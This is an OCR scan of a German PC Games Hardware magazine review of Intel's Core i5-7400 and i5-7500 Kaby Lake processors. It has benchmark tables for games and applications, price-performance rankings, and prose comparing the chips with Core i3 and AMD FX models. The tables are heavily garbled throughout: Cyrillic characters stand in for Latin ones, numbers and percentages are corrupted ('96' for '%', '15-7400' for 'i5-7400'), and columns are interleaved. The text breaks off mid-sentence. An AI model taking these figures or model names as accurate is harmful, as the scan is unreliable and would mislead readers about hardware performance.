4,2 GHz — Ac/8t — PLV 34,2% 3,4 GHz- 4cl4t-PIV37% | ER 
A22:40 — C3:144 na Op — FCB:17733 7:184 BLD:205 x264: 94 A22:25 (3:83 na $C2:35 СВ:10,519 72:293 BLD:394 x264: 148 
Preis: Ca. 360 Euro ACS:131 DAI:138 FC4:131 TW3:126 ЗОМР: 14.240 LR5: 118 CB15:974 yCr: 98 Preis: Ca. 210 Euro ACS:89 DAF92 FC4:96 TW3:81  3DMP:7.426 LR5:152 CB15:561 yCr: 156 
Intel Core i7-6800K | awas  /«-— Intel Core i5-4670K | BE 5.3 
3,4 GHz — 6c/12t РІМ 27,5 % 3,2 6Hz-4c/4t-PIV32,2% | EEA 

- А22:34 (3:14 F1:104 52:34 СВ:19.695 72170 BLD:186 x264:97 - A22:31 (389 na wm СВ:11.739 72:300 BLD:382  264:166 
Preis: Ca. 440 Euro ACS:130  DALT31 FC4:93 TW3:118 ` 3DMP: 15.644 LR5: 111 CB15: 1.114 yCr: 108 Preis: Ca. 240 Euro ACS:84 DAF83 КО&% — TW3:80 ` 3DMP:7280 LR5:153 CB15:551 yCr: 173 
Intel Core i7-5930K | ШШЕН. ÁJ-| АМР ЕХ-9590 wq > 

3,5 GHz — 6c/12t— PV 19,1 % 4,7 GHz – 4m/8t— PLV 41,1 % 
A22:33 (3:14 ni  SC2:32 — FCB:19.845 77165 BLD:198 x264:102 A22:25 (3% np — 50:20 FCB:15.018 72:208 BLD:415  264:138 
Preis: Ca. 620 Euro ACS:127  DAE130 FC4:94 — TW3:119 ` 3DMP: 13.942 LR5: 116 CB15: 1.086yCr: 107 Preis: Ca. 195 Euro ACS:81 DAF81 ЕС4:79 — TW3:81 ` 3DMP:8.407 LR5:146 CB15:727 yCr:256 
Intel Core i7-5775C | i un ___ Intel Core i7-2600K | ME 5. 
3,3 GHz- Ac8t - PLV 28,9% | Y Wa wawww 3,4 GHz- 4/81 – РІМ 26,4% | GENA 
А22: 40 (3:19 nä Oo FCB:14590 72:195 BLD:257 5264125 A22:27 (3392 nam win FCB:13434 72:253 BLD:351 ›264190 
Preis: Ca. 385 Euro ACS:127 DAIF139 FC4:128 TW3:131 ` 3DMP:122781R5:133 CB15:787 yCr:139 Preis: Ca. 290 Euro ACS:85 Dm FC4:83 — TW3:84 ` 3DMP:8.971 1А5:175 СВ15:619 yCr:317 
Intel Core i7-6700K ШИНЕ ә» a Intel Core 13-7350К | BE >>: 
40GHz-4d8&-Plv3i*. | ER 4,2 GHz — 24 — РІМ 37,6 % 
A22:37 (3137 na Om — FCB:16491 72:195 BLD:222 x264:102 A22:27 (3% na 50:44 FCB:8.724 7:332 BLD:417 x264:191 
Preis: Ca. 345 Euro ACS:120 DAE 133 FC4:124  TW3:119 ` 3DMP:13.028 15: 127 СВ15: 890 yCr: 106 Preis: Ca. 195 Euro ACS:81 — DAE90 ЕС4:108  TW3:78 ЗОМР: 7.238 LR5:196 CB15:462 yCr:195 
Intel Core 17-5820 | aww Intel Core і5-3570К | EEE s: °. 
3,3 GHz- 6c/12t— РІМ 28,1 % | БЕНИ 3,4 GHz – 4041 — PIV 27,4% 

- А22:30 C3:149 F1:102 On FCB:18880 72:168 BLD:203 х264:104 = A22:28 3:80 na si СВ:10.891 72:285 BLD:431 x264:199 
Preis: Ca. 410 Euro ACS:122 DAI:129 FC4:92 TW3:115 ЗОМР: 13.589 LR5: 119 CB15: 1.022 yCr: 110 Preis: Ca. 265 Euro ACS:82 — DAL86 FC4:97 — TW3:76  3DMP:6.953 LR5:159 CB15:524 yCr: 348 
InteCorei7-4960x | ШШЕН 9 AMD FX-8370 w 

3,6 Ghz- 6c/12t- PLV 9,7% | e 4,0 GHz — 4m/8t— РУ 43,4 % | ЕЙ 

= A22:31 (3137 1:102 wi КВ:19953 72:159 BLD:219 264112 = A22:23 Cà:88 na 50:14 FCB:13423 72:219 BlD:465 x264:154 
Preis: Ca. 1.140 Euro ACS:120 DAI:122 FCA:84 TW3:114 — 3DMP: 13.914 LR5: 114 CB15: 1.000 yCr: 207 Preis: Ca. 170 Euro ACS:77 — DAE76 ЕС4:75 TW3:77 30МР: 7.842 LR5:157 CB15:649 уСт:269 
Intel Core i7-3960x | ШШЕН AMD FX-8350 I en, 

3,3 GHz- 6c12t - PLV 10,7% | ЕЙ 4,0 GHz - 4m/8t— PLV 48,9% | EX 

- A22:30 (3131 np wi — СВ:19.757 72:163 BlD:235 x264:123 - 42:2 (3:8 na 50:14 FCB:13.024 72:220 BLD:466 264154 
Preis: Ca. 1.000 Euro ACS:M8 DAI:118 FC4:83 — TW3:112 — 3DMP: 13.357 LR5: 129 CB15:955 yCr:215 Preis: Ca. 150 Euro ACS:76 Die FC4:74 — TW3:76 — 3DMP:7.844 LR5:158 CB15:641 yCr270 
Intel Core 17-4790 | 1 5  —— | Intel Core i3-6100 

4,0 GHz — 4c/8t — PLV 29 % 57,1% 3,7 GHz- 2ci4t- PLV 55,7% | Б 
0:34 (3:109 nn  SC2:44 FCB:16360 72197 BLD:231 pt - A22:23 Om nm sm СВ:7.705 72:384 BLD:473 x264: 216 
Preis: Са. 360 Euro ACS:110  DAET13 FC4:113 TW3:105 — 3DMP:11.9241R5:132 CB15:857 yCr:128 Preis: Ca. 115 Euro ACS:71 Dn FC4:93 TW3:68 3DMP:6425 LR5:230 CB15:405 yCr: 221 
Intel Xeon E3-1230 v5 | BERE AMD FX-8300 wc 
3,4 GHz- 4&c/8t -PLV 36,6% | ЕЙ 54,4% 3,3 GHz - Aml8t — РІМ 61,8% 
A2 (3:118 ni 92:39 FCB:14518 72:221 BLD:248  X264:114 - A22:21 Ou na 50:10 СВ:11.035 72:237 BlD:560 x264:183 
Preis: Ca. 275 Euro ACS:109 Där IS FC4:112 TW3:105 — 3DMP:11.618 LR5: 140 CB15:799 yCr:117 Preis: Ca. 105 Euro ACS:71 Dee ЕС4:65 TW3:71 З0МР: 6.638 1А5:177 СВ15:530 yCr:327 
Intel Core i7-4770K | aw Intel Pentium G4560  al|awwww en, 
3,5 GHz - 4c/8t - PLV 27,2 % 3,5 GHz- 2d4t-PIV 100% | ve, 7 

- A (3:119 nm wu FCB:15223 72:211 BLD:247 pt - A22:24 (36 nm sm — FCB:7301 72391 BLD:510 x264: 250 
Preis: Ca. 360 Euro ACS:105 DAE 107 FC4:108  TW3:101 ` 3DMP: 11.083 LR5: 142 CB15:797 yCr:134 Preis: Ca. 60 Euro Aen Die КО&87 — TW3:65 ` 3DMP:6.022 LR5:235 CB15:382 yCr:622 
Intel Core i5-7600K 652% Intel Core i5-2500K | EEE [In 

3,8 GHz - 40/41 — PLV 37,2 % 3,3 GHz-4d4t-PlV 32,7% | BEA 

: A22:30 (3:102 FI:68 52:50 FCB:12716 72:256 BLD:332 x264:126 I А22:25 On Dä sm КВ:10131 7z351 BLD:493 ›264:237 
Preis: Ca. 250 Euro АС5:100 DAF111 FCA:117 TW3:95 — 3DMP:9.013 LR5:129 CB15:676 yCr:130 Preis: Ca. 190 Euro АС5:70 Dm In TW3:63 ` 3DMP:6.192 LR5:186 CB15:462 yCr: 393 
Intel Core i5-5675C | BRE 7 AMD FX-8320E wawww 

3,1 GHz — 4cJ4t — PLV 30,5 % 3,2 GHz — 4m/8t— PLV 50,6 % | ЕЙ 

= A22:39 Om np Ou FCB:11377 72:279 BLD:387 x264:160 = Ai (3:77 na wn  FCB:10.716 72:238 BLD:579 x264:188 
Preis: Ca. 290 Euro ACS:99 DAF108 FCA:125 TW3:92  3DMP:8.339 LR5:140 CB15:567 yCr:176 Preis: Ca. 125 Euro ACS:69 Des FCA:64 — TW3:69 3DMP:6.411 LR5:179 CB15:517 yCr:337 
Intel Core i7-4820K | awa: AMD FX-6350 

3,7 GHz- 4d8t- PLV 24,5% | ШШ 3,9 GHz - 3m/6t — РІМ 53,2 % 

- A (3:102 F1:78 50:25 СВ:13.903 72:227 BLD:318 x264: 167 - A22:22 On Au 52:13 КВ:10164 72:268 BLD:630 x264: 209 

Preis: Ca. 360 Euro ACS:105 DAI:109 FC4:92 — TW3:100 — 3DMP:9.892 LR5:147 CB15:664 yCr: 282 Preis: Ca. 115 Euro ACS:68 Dei ЕС4:74 TW3:62  3DMP:6.238 LR5:184 CB15:469 vr 356 
ШЕП d соге 1в-7500__ 8 — Eng AMD FX-6300 Gw 
34GHz-4d4t-PlV4090 SES 43,6% 3,5GHz-3m/6t-PLV64% | [ELTERN 

- Ai (394 Të 50:44 КВ:11455 72:275 BLD:361 x264: 139 - A2221 (365 nn 52:11 FCB:9484 7z280 BLD:696 x264: 227 
Preis: Ca. 215 Euro ACS:94 DAF103 FC4:112 TW3:89 — 3DMP:8401 LR5:142 CB15:610 уст: 143 Preis: Ca. 90 Euro ACS:64 — DAEGA FC4:74 — TW3:61  3DMP:5.670 LR5:196 CB15:422 yCr:410 
Intel Core i7-3770K | aww o. AMD FX-4300 Gw. 

3,5 GHz - 4c/8t - PLV 23,4% 3,8 GHz - 2m/4t — PLV 81,6 % ] 

- 22:29 (3:102 nm 50:27 СВ:13.908 72:217 BLD:316 ›264:163 - А22:19 Cà] nä SC2:12 FCB:6872 72:397 В10:951 x264:313 
Preis: Ca. 370 Euro ACS:100 DAF103 FC4:92 — TW3:95 — 3DMP:9.926 LR5:154 CB15:679 yCr: 292 Preis: Ca. 55 Euro ACS:54 Dä FC4:65 TW3:46  3DMP:4.324 LR5:241 CB15:304 yCr:567 
Intel Core 17-990Х | aaa > АМО А10-7870К | EEUU 05%. 

346 GHz -6c/12t- PLV 9,5 % | CAN 52,5% 3,9 GHz - 2mH4t — PLV 34,1 % 
Am (3:119 np 50:17 КВ:18987 72:232 BLD:243 x264:139 - A2:17 (348 nä 902:12 72:471 BLD:825 x264: 274 
Preis: Ca. 940 Euro ACS:95 — DAE92 FC4:72 — TW3:82  3DMP: 12.349 LR5: 157 CB15:822 yCr:322 Preis: Ca. 130 Euro АСЅ:48 DAF49 FAE — TW3:43 516 LR5:258 СВ15:319 yCr:531 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 
System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 
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Vierkerner für 200 Euro 


Spieler sollten, sofern es das Budget hergibt, grundsàtzlich mindestens zu einem Quadcore-Prozessor 


greifen. Wir testen Intels Einsteiger-Vierkerner, von denen einer die 200-Euro-Marke unterbietet. 


in möglichst schneller Pro- 
F > ist eine der Grundvo- 
raussetzungen für flüssige - teils 
überflüssige - Bildraten in Spie- 
len. Doch nicht jeder Spieler ist 
dazu bereit oder in der Lage, hohe 
drei- oder gar vierstelllige Beträge 
im Rahmen seines Hobbys nur für 
die CPU zu investieren. Auch das 
Übertakten ist nicht jedermanns 
Sache - manch einer möchte le- 
diglich unauffälligen Betrieb ohne 
großes Gefrickel. Und hier schlägt 
die Stunde der „Vernunft“-CPUs der 
Core-i5-Reihe, von denen wir die 
beiden neuesten Inkarnationen in 
diesem Artikel testen. 


2x Kaby Lake für 200 Euro 
Die Core-Prozessoren sind mittler- 
weie in der laut Intel-Zählung 


siebten Generation angekommen. 
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Was in früheren (Intel-)Generatio- 
nen ein 15-4460 oder 15-6500 war, 
sind bei den aktuellen Kaby Lakes 
die vierkernigen Einstiegsmodelle 
Core i5-7400 und i5-7500. Ersterer 
wandert für rund 185 Euro über 
die Ladentheke, der 7500 kostet 
rund 210 Euro. Die für Spieler re- 
levanten Unterschiede zwischen 
den beiden Modellen liegen in der 
Taktrate der CPU-Kerne sowie der 
integrierten Grafik. Der Vollstän- 
digkeit halber sei erwähnt, dass der 
15-7400 im Gegensatz zum i5-7500 
Intels  TSX-Erweiterung 
stützt, welche bei entsprechender 
Software-Auslegung bestimmte 
Codefolgen spekulativ ausführen 
kann und so bei Bedarf eine deut- 
liche Beschleunigung erreicht. Ob 


unter- 


und wann solcher Programmcode 
in Spielen zum Einsatz kommt, 


steht allerdings noch in den Ster- 
nen, zumal Intel die TSX-Erweite- 
rung in Has- und Broadwell wegen 
Fehlern abschalten musste. 


Doch zurück zu unseren Quad- 
cores. Innerhalb der aktualisierten 
Modellpalette bilden diese beiden 
den Einstieg in die Vierkern-Welt 
und in der Intel-Preisliste tauchen 
sie zum selben Dollar-Preis auf wie 
die Vorgängermodelle - der Han- 
delspreis kann davon abweichen. 
Der Core 15-7400 mit 3,0 GHz Basis- 
takt und einem All-Core-Turbo von 
3,5 GHz fáhrt dem 6400er (2,7/3,1 
GHz) deutlich davon und unter- 
stützt zudem noch den 12,5 Pro- 
zent flotteren DDR4-2400-Speicher 
offiziell. In Summe kommt er daher 
sogar schneller ins Ziel als der eine 
(Hunderter) Nummer größere 


15-6500 aus der vorhergehenden 
Generation, kostet mit derzeit 190 
Euro dabei jedoch 20 Euro weni- 
ger als jener. Ahnliches gilt für den 
15-7500, der beim Basistakt leicht 
oberhalb des 15-6600 liegt und nur 
im Dual- und Single-Core-Turbo 
100 MHz zurückstecken muss. Dort 
erreicht er 3,7 respektive 3,8 GHz. 
Doch der flottere RAM hilft auch 
hier weiter, sodass der i5-7500 es 
sogar mit dem unübertakteten i5- 
6600K aufnehmen kann. 


Da Kaby Lake in Sachen CPU-Archi- 
tektur identisch mit Skylake ist und 
sich abseits der Video-Beschleuni- 
gung und des DRM-Supports auch 
bei der integrierten Grafik selbst 
nichts Nennenswertes getan hat, 
Ergebnisse 


überraschen diese 


nicht allzu sehr. 
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Günstige Prozessoren: AMD mit mehr Auswahl bei gutem Preis-Leistungs-Verhàltnis 
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Normierter, gewichteter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 


100 


Prozessor Gesamt-Index 

Preis/Leistung 
1 | Intel Pentium 64560 100,0% 
2 | AMD FX-4300 81,6% 
3 | AMD Athlon X4 845 69,3% 
4 | AMD FX-6300 64,0% 
Intel Pentium G4400 63,4% 
6 | AMD FX-8300 58,9% 
Intel Core i3-6100 55,7% 
8 | AMD A8-7600 54,1% 
9 | AMD FX-6350 53,2% 
10 | AMD FX-8320E 50,6% 
11 | AMD FX-8350 48,9% 
12 | AMD A10-7800 48,5% 
13 | AMD FX-8370 43,4% 
Intel Core i5-7400 42,3% 
15 | AMD FX-9590 41,1% 
Intel Core i5-7500 40,0% 
Intel Core i3-7350K 37,6% 
Intel Core i5-7600K 37,2% 
Intel Core i5-6500 37,0% 
Intel Xeon E3-1230 v5 36,6% 


Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss aktuellen Marktpreis; Trendlinie durchgezogen = alle aktuellen, von PCGH getesteten Prozessoren; Trendlinie gestrichelt = aktuelle Prozessoren bis 450 Euro 


Crysis 3: 15-7500 knapp hinter FX 9590 


Witcher 3: Keine Probleme für 15-7400/7500 


Intel Core i7-6700K 
Intel Core i7-4790K 
Intel Core i7-3770K 
Intel Core i5-7600K 


) 

) 

) 

) 

) 

Intel Core 15-7500 (3,4+ GHz - 4c/4t) 
Intel Core i7-2600K ) 
Intel Core i5-4690K ) 
Intel Core i5-6600K ) 
) 

Intel Core i5-7400 ) 
Intel Core i5-6500 
Intel Core i5-3570K 


Intel Core i3-6100 (3,7 GHz — 2c/4t 
AMD Ph. 11 X6 1100T 


) 
) 
) 
) 
Intel Core i5-2500K (3,3+ GHz – 4c/4t) 
) 
) 
) 
) 
) 


Core 2 Quad 06600 (2,4 GHz - 4с/4ї 


„Fields” (720p, kein AA/AF/min. Post-Processing) 


404 GHz — 4c/8t) mg 136,7 (+93 %) 
4,04- GHz – 4c/8t) Fe 128,5 (+82 96) 
3,5+ GHz — 4480 Eger 101,6 (+44 %) 

3,84 GHz — 4c/4t) gg 101,5 (+44 %) 

AMD FX-9590 (4,7+ GHz — 4m/8t) Egi 95,7 (+35 %) 
НИЗ 94,3 (+33 90) 

3,44 GHz — 4c/8t) Eg 92,3 (+31 90) 

3,54. GHz — 4c/4t) El 90,1 (+27 %) 

3,54. GHz – 4c/4t) En 89,2 (+26 96) 

AMD FX-8370 (4,0+ GHz — Am/8t) gan ww 88,3 (4-25 96) 

3,0+ GHz – 4с/41) ET 87,3 (+23 %) 

3,2+ GHz – 4c/4t) EEE ШЕШ 82,9 (+17 %) 

3,44 GHz — 4c/4t) EG ШЕШ 80,3 (+14 %) 

Intel Core i3-7350K (4,2 GHz — 2c/4t) EB 77,8 (+10 96) 

AMD FX-8300 (3,3+ GHz — 4m/8t) EEE 73,7 (+4 96) 
70,7 (Basis) 
G= 65,5 (2 
3,34. GHz — 6c/6t) БОЈИ 67,2 (-5 
Intel Pentium G4560 (3,5 GHz – 2c/4t) ШЕУ ШЕШ 65,5 (-7 

AMD FX-6300 (3,5+ GHz – 3m/6t) SSIKKIKGCúXGINIZI£AIII64,7 (-8 
ISI 29,6 (-58 96) 


%) 
%) 
%) 
%) 


Intel Core i7-6700K 
Intel Core i7-4790K 
Intel Core i7-3770K (3,5 GHz — 4c/8 
Intel Core i5-7600K (3,8 GHz — Acht 
Intel Core i5-7500 (3,4+ GHz - Ac/4t 
Intel Core i7-2600K (3,4 GHz - 4c/8 
Intel Core i5-7400 (3,0+ GHz - 4c/4t 
Intel Core i5-6600K (3,5 GHz — 4c/4t) 
AMD FX-9590 (4,7 GHz – 4m/8 
Intel Core 15-6500 (3,2 GHz — 4c/4t) 
Intel Core i5-4690K (3,5 GHz — 4c/4t) 
Intel Core i3-7350K (4,2 GHz – 2c/4! 
AMD FX-8370 (4,0 GHz — 4m/8t) 
Intel Core i5-3570K (3,4 GHz — 4c/4t) 
AMD FX-8300 (3,3 GHz — 4m/8 
Intel Core i3-6100 (3,7 GHz — 2c/4t) 
Intel Pentium G4560 (3,5 GHz — 2c/4 
Intel Core i5-2500K (3,3 GHz – 4с/4 
AMD FX-6300 (3,5 GHz — 3m/6 
AMD Ph. 11 X6 1100T (3,3+ GHz - 6c/6t) 
Core 2 Quad 06600 (2,4 GHz — 4c/4! 


4,0 GHz - 4с/8 
4,0 GHz — 4/81) 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


) ERES I 118,5 (+88 %) 
к 104,6 (+66 90) 
gs 95,1 (4-50 90) 
ННН И 94,5 (450 96) 
Km———rvmsaasis9,1(+41 %) 
ENS 84,3 (+33 %) 
NN 84,2 (+33 %) 
ENS 3,5 (+32 %) 
pe 81,0 (+28 %) 

r li 505 (+27 %) 
pus (+26 %) 
pua 78,2 (+24 %) 
pm 76,6 (+21 %) 
m 75,7 (+20 %) 
eam 705 (+12 %) 
pw 68,0 (+8 %) 
Feb 65,4 (+3 %) 
D | 63,2 (Basis) 
=l 60,5 (-4 
ENG 49, (-22 %) 
ШИШИШИ 25,3 (-60 %) 


%) 


System: Intel 2170/297/277/Х38, AMD 990FX/A88X/790GX, 8 GiByte RAM pro Speicher 
kanal (Geschwindigkeit jeweils laut maximaler CPU-Spezifikation), Geforce GTX 980 Ti @ 
1.380/3.900 MHz (359.06 WHQL, HQ); Windows 10 (64 Bit, 1607) 


WRC" 2 Fps 


» Besser 


kanal (Geschwindigkeit jeweils laut maxima 


System: Intel 2170/297/777/Х38, AMD 990ЕХ/А88Х/790СХ, 8 GiByte RAM pro Speicher- 
er CPU-Spezifikation), Geforce GTX 980 Ti @ 
1.380/3.900 MHz (359.06 WHQL, HQ); Windows 10 (64 Bit, 1607) 


Mimi 2 Fps 


» Besser 


Leistung: Core i5-7400 

Während beide CPUs bei der An- 
schaffung nicht allzu stark zu Bu- 
che schlagen, steht der Aufpreis 
des i5-7500 gegenüber dem i5-7400 
in keinem guten Verhältnis im Ver- 
gleich zur Mehrleistung. In Zahlen 
ausgedrückt, stehen gerundeten 
25 Euro Zusatzkosten (+14 %) vier 
Indexpunkte (+7 %) gegenüber. 
Hinzu kommt, dass die Leistungs- 
unterschiede zwischen den beiden 


www.pcgameshardware.de 


Prozessoren in keinem unserer Test- 
spiele den Unterschied zwischen 
nicht spielbaren und unspielbaren 
Bildraten ausmachen - lediglich im 
Anno-2205-Worst-Case liegt der i5- 
7500 mit 28,6 etwas dichter an der 
magischen 30-Fps-Marke als der i5- 
7400 mit 26,1 Fps. Selbst das dank 
fehlender Mehrkern-Optimierung 
beim Zerg Rush mit geringer Bild- 
rate laufende Starcraft 2 liegt mit 
38,2 respektive 44,0 Durchschnitts- 


Fps größtenteils im grünen Bereich, 
auch wenn bei den Minimum-Fps 
einige Ausreißer in den 20er-Be- 
reich dabei sind. In den anderen 
Parcoursspielen inklusive des Par- 
tike- und damit CPU-intensiven 
Regenrennens in F1 2015, fällt so- 
gar die 60-Fps-Grenze und wird 
deutlicher überschritten als etwa 
vom direkten Vorgänger Core i5- 
6500. Auch gegenüber Zweikern- 
CPUs wie der Core-i3-Reihe setzen 


sich die Einsteiger-Quads merklich 
ab. Natürlich fällt der Unterschied 
zu günstigeren Modellen wie dem 
Core i3-6100 für rund 115 Euro 
deutlicher aus als im Vergleich zum 
Core i3-7350K mit seinen 4,2 GHz. 
So erreicht der i5-7400K gegenüber 
dem i3-6100 im Durchschnitt aller 
Tests 18 Prozent höhere Bildraten 
- das gilt interessanterweise für Mi- 
nimum- wie Average-Fps. Den größ- 
ten Vorsprung mit 28 respektive 
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PROZESSOREN | Core 15-7400 & -7500 


Leistung und Effizienz: KBL-i5 im oberen Drittel 


Leistungsindex Spiele (normiertes, gewichtetes Mittel aus acht Spielen) 


Intel Core i7-7700K (4,2+ GHz — 4c/8t) aaa 98,2 (+90 96) 
Intel Core i7-6700K (4,0+ GHz — 4c/8t) EX 91,4 (+76 %) 
Intel Core i7-4790K (4,0+ GHz — Ac/8t) EX 81,6 (+58 %) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) Eu 76,8 (+48 96) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) 72,1 (+39 %) 
Intel Core i7-3770K (3,5+ GHz — 4с/81) Em 70,4 (+36 96) 
Intel Core i5-7400 (3,0+ GHz - 443 P 67,8. (+31 96) 
Intel Core i5-6600K (3,5+ GHz — 4c/4t) Em 67,0 (+29 96) 
Intel Core i3-7350K (4,2 GHz - 2c/4t) Xm 65,5 (+26 96) 
Intel Core i5-4690K (3,5+ GHz – 4c/4t) Em 65,1 (+26 96) 
Intel Core i7-990X (3,464- GHz — 612) Em 64,4 (4-24 %) 
Intel Core 15-6500 (3,2+ GHz – 4c/4t) [XXX 63,6 (+23 %) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) | 61,4 (+19 96) 
Intel Core i5-3570K (3,44- GHz — 4c/4t) ШЕН 61,2 (+18 96) 
) 
) 
) 
) 
) 
) 


AMD FX-9590 (4,7+ GHz - Am/8t) mai 59,4 (+15 96) 
Intel Core 13-6100 (3,7 GHz - 2c/4t) Eu 57,2 (+10 96) 

AMD FX-8370 (4,0+ GHz — Am/8t) oe 55,1 (+6 96) 

Intel Pentium G4560 (3,5+ GHz — 2c/4t) ШЕН 55,0 (+6 96) 

Intel Core i5-2500K (3,3+ GHz — 4c/4t) EX 51,8 (Basis) 

AMD FX-6300 (3,5+ GHz — 3m/6t) Eu 46,3 (-11 %) 
AMD FX-4300 (3,8+ GHz - 2m/4t) Eu 37,5 (28 %) 

Kaby Lake Quadcores: Prozessorleistung in Anwendungen 


Intel Core i7-7700K (4,2+ GHz — Ac/&t) ua 65,8 (+108 96) 
Intel Core i7-6700K (4,0+ GHz — 4c/8t) | 60,7 (+92 96) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) E 57,1 (+81 96) 
Intel Core i7-990X (3,46+ GHz — 6c/12t) EEE 52,5 (+66 96) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) E 47,9 (452 96) 
AMD FX-9590 (4,7+ GHz – Am/8t) Eu 46,2 (+46 96) 
Intel Core i7-3770K (3,5+ GHz — 4c/8t) ШЕН 45,5 (+44 96) 
Intel Core i5-6600K (3,5+ GHz – 4c/4t) Eu 43,7 (+38 %) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) EEE 43,6 (+38 96) 
AMD ЕХ-8370 (4,0+ GHz — Am/8t) TGJIICIUƏÓSSUVú)IGCSISII2I)NUK,2 (+34 %) 

Intel Core i5-4690K (3,5+ GHz – 4c/4t) E 41,0 (+30 96) 

Intel Core i7-2600K (3,4+ GHz — 4c/8t) Ee 40,8 (+29 96) 
Intel Core 15-6500 (3,2-- GHz — 4c/4t) ER 40,6 (+28 96) 
Intel Core i5-7400 (3,0+ GHz — 4c/4t) BEI 40,5 (+28 96) 

Intel Core i5-3570K (3,4+ GHz — 4c/4t) Eu 36,4 (+15 96) 

Intel Core i3-7350K (4,2 GHz - 2c/4t) EX 34,1 (+8 96) 

Intel Core i5-2500K (3,3+ GHz — 4c/4t) Eu 31,6 (Basis) 

AMD FX-6300 (3,5+ GHz — 3m/6t) Eu 30,3 (4 %) 

Intel Core i3-6100 (3,7 GHz - 2c/4t) Eu 29,8 (-6 96) 

Intel Pentium G4560 (3,5 GHz — 2c/4t) Eu 26,9 (-15 96) 
AMD FX-4300 (3,8+ GHz - 2m/4t) Eu 22,8 (-28 96) 

Kaby Lake Quadcores: Effizienz in Spielen und Anwendungen 

Intel Core i7-6700K (4,0+ GHz — 4c/8t) E 98,4 (4-74 96) 

Intel Core i7-7700K (4,2+ GHz — Ac/&t) EX 96,1 (4-70 96) 
Intel Core 15-7500 (3,4+ GHz - 4с/41) EE 88,7. (+57 %) 

Intel Core i5-7600K (3,8+ GHz — 4c/4t) aa 87 8 (+56 96) 

Intel Core i5-7400 (3,0+ GHz - 44) P 56,4 (+53 %) 
( 
( 
( 
( 


Intel Core i7-4790K (4,0+ GHz — 4с/81) ua 85,4 (+51 96) 
Intel Core i5-6600K (3,5+ GHz - 44) E 81,6 (+45 96) 
Intel Core 15-6500 (3,2+ GHz — 4с/41) ER 79,5 (+41 96) 
Intel Core i7-3770K (3,5+ GHz — 4c/8t) ER 77,1 (+37 %) 
Intel Core i5-4690K (3,5+ GHz — 4c/4t) Es 73,3 (+30 %) 
Intel Core i3-6100 (3,7 GHz — 2с/41) Em 71,1 (+26 96) 
Intel Core i5-3570K (3,4+ GHz — 4c/4t) wai 69,5 (+23 96) 
Intel Core i3-7350K (4,2 GHz – 2c/4t EX 69,5 (+23 96) 
Intel Pentium G4560 (3,5 GHz - 2c/4t) Xm 65,8 (+17 9) 
Intel Core i7-2600K (3,4+ GHz — 4c/8t) Fo 655,0 (+15 96) 
Intel Core i5-2500K (3,3+ GHz — 4c/4t) Eu 56,4 (Basis) 
Intel Core i7-990X (3,46+ GHz — 6c/12t) m 56,1 (-1 96) 
Intel Pentium G4400 (3,3 GHz – 2c/2t) EEE 51,1 (-9 %) 
AMD FX-8320E (3,2+ GHz — 4m/8t) Eu 46,2 (-18 96) 
AMD Athlon ХА 845 (3,5+ GHz — 2m/4t) Eu 40,6 (-28 96) 
AMD FX-6300 (3,5+ GHz — 3m/6t) Eu 40,5 (-28 96) 


30 Prozent verzeichnet der i5-7400 
dabei in Assassin's Creed: Syndicate, 
gefolgt von Crysis 3 mit rund 25 
Prozent hóheren Durchschnitts-Fps. 
Dagegen liegt er im stark taktabhän- 
gigen Starcraft 2 knapp zurück. 


Ähnliches gilt für den Vergleich mit 
dem Core i3-7350K - die Abstän- 
de sind hier (aufser bei Starcraft 2) 
sehr gering, doch ebenso die Preis- 
differenz. De facto ist der i5-7400 
im Handel sogar 5 Euro günstiger 
zu haben als der Dualcore 7350K. 
Da die Zukunft jedoch eher Multi- 
thread-optimierten Spielen gehóren 
wird, als dass eine Rückkehr zu den 
auf einen oder zwei Kerne optimier- 
ten Titeln zu erwarten ist, stellt auch 
in diesem Falle der i5 die für Spieler 
bessere Wahl dar. In gut skalieren- 
den Spielen sind Fps-Gewinne von 
7,8 oder 12 Prozent gegenüber dem 
4,2-GHz-Dualcore zu verzeichnen. 
Übertakter können mit Letzterem 
jedoch auf- und sogar überholen, 
sparen dabei aber kein Geld. 


... und Core i5-7500 

Dank des schnelleren Taktes sieht 
die Situation beim i5-7500 etwas 
freundlicher aus - doch der kostet 
auch rund 25 Euro mehr als sein 
kleiner Bruder. Er hängt den i3-6100 
um 26 (Durchschnitt) und besten- 
falls um 41 Prozent (Min-Fps Crysis 
3) ab und muss sich keine Blöße in 
Starcraft 2 geben - auch hier liegt 
er 10 Prozent in Front. Gegen den 


13-7350K sind es immerhin noch 10 
Prozent Vorsprung, wobei das Ma- 
ximum mit +22 Prozent erneut bei 
den Crysis-3-Minimum-Fps liegt. 


... im Vergleich zu AMD 

Hier zeigt sich der aktuelle techno- 
logische Abstand. Die vergleichs- 
weise günstigen Modul-Rechner 
aus AMDs FX-Reihe sind in Sachen 
Spiele-Leistung, Leistungsaufnahme 
und damit auch Effizienz abgeschla- 
gen, werden sie doch noch im mitt- 
lerweile vóllig veralteten 32-nm-Pro- 
zess gefertigt. Entsprechend liegt 
schon der 15-7400 im Spiele-Index 
rund 14 Prozent vor dem schnells- 
ten FX-Prozessor, der 15-7500 rund 
21 Prozent. Einzig in Sachen An- 
wendungsperformance kónnen die 
Viermoduler der ЕХ-83хх/9ххх-Кеі- 
he noch mithalten. So platziert sich 
das AMD-Topmodell FX 9590 mit 4,7 
GHz Basis- und 5 GHz Turbo-Takt 
in dieser Disziplin knapp vor den 
